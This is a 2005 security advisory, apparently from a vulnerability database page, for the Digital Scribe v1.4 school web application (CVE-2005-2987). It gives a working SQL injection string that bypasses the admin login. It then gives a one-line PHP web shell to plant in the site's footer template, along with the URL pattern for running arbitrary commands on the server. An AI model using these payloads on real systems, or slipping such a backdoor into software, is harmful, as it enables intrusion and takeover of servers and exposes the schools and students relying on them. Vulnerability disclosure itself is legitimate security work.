 Topic: |
Digital Scribe v1.4 Login Bypass / SQL injection / remote code execution |
| Credit: |
retrogod aliceposta it |
| Date: |
2005.09.17 |
| CWE: |
CWE-89 (Show similar)
|
| CVE: |
CVE-2005-2987 (Show details)
Use CVE to see details like:
- CVSS2,
- Affected Software,
- References |
| Risk |
Local |
| Remote |
| Medium |
No |
| Yes |
Digital Scribe v1.4 Login Bypass / SQL injection / remote code execution
software:
site: http://www.digital-scribe.org/
description: "Teachers have full control through a web-based interface. Designed
for easy installation and even easier use, the Digital Scribe has been used in
thousands of schools. No teacher or IT Personnel needs to know any computer
languages in order to install and use this intuitive system.
1) Login Bypass / SQL Injection ************************************************
login as admin typing:
login: " or isnull(1/0) /*
password: [whatever]
2) remote code execution *******************************************************
now you can edit template and leave a backdoor on target system:
at the end of the footer try this:
<?php error_reporting(0); system($HTTP_GET_VARS[cmd]); ?>
then you can launch commands:
http://[target]/[path_to_dscribe]/index.php?cmd=[some_command]
rgod
site: http://rgod.altervista.org
email: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/dscribe14.html
************************************************************************
********
[ ASCII VERSION ]
|
